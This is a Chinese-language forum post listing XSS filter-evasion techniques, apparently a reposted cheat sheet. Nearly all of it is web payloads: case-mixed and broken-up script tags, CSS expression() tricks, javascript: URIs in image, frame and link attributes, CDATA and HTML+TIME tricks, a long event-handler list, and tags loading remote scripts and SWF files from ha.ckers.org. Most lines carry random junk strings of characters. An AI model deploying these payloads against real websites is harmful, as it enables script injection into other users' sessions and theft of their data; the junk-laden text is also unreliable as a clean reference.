找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2393|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写
( _, a3 B" E1 O% r# a+ @& x" Q
& q- `* N4 X" l$ L7 ^ ! k$ ^6 J) h0 h  {2 T

; _. i" ?8 t& E3 X% B    <sCript>alert(‘d’)</scRipT>
  c- j  T7 R% L7 F% T3 Q7 x
+ u2 n% O( H9 J. M7 e! x; s2. 利用多加一些其它字符来规避Regular Expression的检查
; \- ]+ P: i1 J& X! }
: N+ S9 O% T7 P) }! Z/ T    <<script>alert(‘c’)//<</script>
: N1 B+ r- a4 Q- w; p3 ?) J6 Q
8 }/ C) w1 ^" J$ K+ v- l, l7 T, U    <SCRIPT a=">" SRC="t.js"></SCRIPT>! ]6 w+ x/ J1 q/ A9 |1 b3 Z
/ m5 L' U8 ?- Z0 Q
    <SCRIPT =">" SRC="t.js"></SCRIPT>
( j6 f1 m6 ~9 V0 m- _
1 j( u% l+ z+ Q9 i    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>
% B& ~9 {, |% q6 i) e! b
8 ^( `; B5 o, m# }% z    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
5 u, q$ W- x# {6 w: t
4 F! b0 S- q+ B    <SCRIPT a=`>` SRC="t.js"></SCRIPT>9 W' s, b7 w/ B( [- b  E1 ^+ f+ N, J

; ~( x) y' G3 W# ~* H3 e( E    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>& \& _3 {, \" y7 O: `' {, r$ U, M
7 f9 g( ~7 R4 ~
3. 以其它扩展名取代.js  N' w8 S9 x) F, W4 O; f: C: L& S

; Y3 T+ L7 I7 A. L! K    <script src="bad.jpg"></script>" W6 j# ]0 ~" V

" D) K% @5 W( c  W# |$ b% s  D. f4. 将Javascript写在CSS档里8 S. o1 ^  a  u$ [# d1 x/ L

/ D4 P. ]9 I( X+ }    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">& m" G9 n% l, ~9 p3 X( x

0 X! ~/ J5 s& k) U       example:( p' f5 n2 X) ~+ ^" [

+ K" T% `9 D' Y: |          body {
* d. ~- l( z* u/ {1 S+ g5 `: V0 G3 K8 R/ Q# [4 ]5 ?- Q
               background-image: url(‘javascript:alert("XSS");’)% X) _* E) y) U6 J

3 a# e" V1 ?* G9 K. h' e, G- q          }* \; K+ b& c5 f0 }7 m: O0 `) w

( `8 A" G! @  t; u* K" h/ r5. 在script的tag里加入一些其它字符5 `( V) f0 a5 z8 G( y5 T4 {- o. _
, I* w% v# Q6 x6 U0 G
    <SCRIPT/SRC="t.js"></SCRIPT>- D( N, T! p" y! K) ?
3 D3 {# T- U( j0 `% k2 C
    <SCRIPT/anyword SRC="t.js"></SCRIPT># f# v7 l4 i2 U6 D' p! ]
$ o7 p# l+ l1 v6 S% ?& w
6. 使用tab或是new line来规避
& i5 N" B0 A7 _, @: R+ y0 g, ]( q7 X1 O" t' t
    <img src="jav ascr ipt:alert(‘XSS3′)">
, I  }; o9 [4 }. E
6 G1 x4 A! @& f0 N0 a% k    <img src="jav ascr ipt:alert(‘XSS3′)">
3 Y0 _1 O" V. [4 Z* w2 I& Q) h7 h6 d6 s' c
    <IMG SRC="jav ascript:alert(‘XSS’);">9 J0 P2 G/ X8 G5 w) l" R8 h3 D

: J. P( x5 @1 g! l         -> tag5 t2 ~& }! H( h7 S4 r
, p5 \! l" H) `; F
         -> new line, d. |' p$ v0 Q/ i0 D& ]1 q
9 y# N) `2 d( G+ l+ s. M) a
7. 使用"\"来规避
+ W9 q2 d7 J4 B# ~4 \( a1 l
2 M( m! R8 |, n! j6 h( [6 M: P    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
# N2 {! _! l. d
9 O: E  Q: i/ p7 `6 {" w- u$ K& L. g    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
( |6 q% b; ~; @
1 q3 W+ u" ]0 P' e! B    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
% B  J0 X" U( v- n' L$ K- T
5 M1 u$ x" a$ f# r9 z, m0 X9 P    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
. Z7 A) F/ o9 }1 v7 A5 ~4 {% k
( `1 V. n" M) [    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
& q  v' c" S/ X: E( ?# @7 z. b: M/ \! ^2 w+ P8 V
8. 使用Hex encode来规避(也可能会把";"拿掉)
+ a" g& O  S% y( g) U9 l8 K9 }% Q( B+ c2 f- {3 z
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
( q6 G9 k3 u: }2 A# j5 K; X! \9 b# h, G0 R- ]/ q; G- O- A0 k
        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">; {( o" n% s# L7 U) q
. O4 Q7 ?5 r/ Y) K1 E% }; w3 f
    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">1 g* R# G$ w1 C, P

1 G, Y1 M4 F; I        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
, F% X9 _" o6 ]" g
8 `, i" u9 \' E0 Y2 W+ x7 L9. script in HTML tag2 ?% B% v. R% W( J4 p

8 a( Q7 R$ j& E. Y( r8 q    <body onload=」alert(‘onload’)」>
; g, Z& Q9 A3 y6 d* O
+ n+ z# f- O  M0 k2 [! a& H. g        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload* R( s+ P' k& F1 _2 J* k! @
  X$ [' @3 z: {* o- h) F- X
10. 在swf里含有xss的code" V+ F. R  X* U1 J
# F8 m8 D8 y! w' G) h' T
    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
4 I9 A/ H" L& j; X9 ~. Y9 X$ ?0 f9 g- Y# Z3 J
11. 利用CDATA将xss的code拆开,再组合起来。
: w/ T" P4 V$ Q% Z2 N/ [: e  O4 X: C" ^/ J+ s/ U
    <XML ID=I><X><C>
& x8 z0 T( e, n9 e5 {& e) E! j2 V% O1 D8 K2 ~
    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>. w8 Y) n  Q6 a$ Y/ }. {
3 r  y  M1 K( J# {7 K& h
    </C></X>: [# N; z4 p7 u; o4 g

$ d6 Z* W7 |0 m9 v$ E    </xml>6 k: u/ h* i; `4 {
  [) E, K$ s. b. }
    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>! }2 T1 w8 Z3 C, L, n: i: J0 d

8 K4 ~2 Z0 s6 b  F, ?) K7 D    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>+ z/ z  h4 N" Y. G& |( i/ O) {4 e: I

: h- ~# U: r: k# s    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>) b6 n& L' [8 O1 O- B: I) c

0 H6 W3 H: a; V; c. W' Y12. 利用HTML+TIME。! p1 J: Z9 \! ]8 y. \1 E
% g& G  O# w+ {' w/ e! Z0 _' C# g
    <HTML><BODY>
/ m8 x# t3 B5 \. N0 B
: ~5 l, M3 k5 t* ?    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
% n/ C3 t+ F5 \3 ]  M! i7 X/ F$ F5 B# g8 b0 c0 Y2 H
    <?import namespace="t" implementation="#default#time2">
9 u. N2 D4 g+ y2 e& r: y
# |' c; X% e* @, B+ o    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
- N; J9 H  I$ j6 e# q
# ?' K' ?3 l( q7 [9 [6 F* N# [    </BODY></HTML>
* U8 J7 m. E+ }8 z& ~" [  ~, J* I
/ G. K/ K9 W6 M# `1 V( X3 t: f$ G13. 透过META写入Cookie。
/ P. P+ s/ Y* e! P
& M- J0 Y9 ?: n+ C8 G    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">
- i( f. Q' l* H/ U+ o! @
: d' c2 o0 ?* `8 U  Z14. javascript in src , href , url
, n8 r% I4 m' P. I3 M1 s$ k2 L4 {! ~; r  r/ _% F0 }
    <IFRAME SRC=javascript:alert(’13′)></IFRAME>
0 y' l# v4 w1 @# L7 \; }
1 ^% I5 ~( \/ l) V. t; E, d4 h    <img src="javascript:alert(‘XSS3′)">
$ n# `' \/ O1 B8 h% @7 Q! W- J8 [" S
<IMG DYNSRC="javascript:alert(‘XSS20′)">6 }( W) b$ F$ x" Z1 g* d

* g: V1 Q% l- N( j2 O/ }    <IMG LOWSRC="javascript:alert(‘XSS21′)">/ a* F2 }  D+ J& u) S
' Y5 N* w: n6 O7 a6 Y' f/ {
    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">1 b% w8 r8 T  H. G: v
* H& z$ |, g/ R: f  J. q$ S
    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>( [+ M" k+ m  n$ E
* I2 `% O3 c( W% x8 O
    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">
. g) S" I+ k7 M( a6 n/ u% D6 H9 [; j% P* `4 B- ~1 Z
    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">6 ]8 V  c* n) X  r9 @) h9 e; P- V

( h# r+ q: P. U6 f) P9 }    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}) D; H8 ~0 g, y# [: \0 |

& S# r( y1 z; @# R. @    </STYLE><A CLASS=XSS></A>0 d. v* Z4 V1 M) H9 C

/ @7 ]) x" {0 ^' q% p  \9 d5 `    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
1 o: e2 ~- \( M0 j( Q" T0 ~
( f' Q( ^- t5 U6 ?; B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表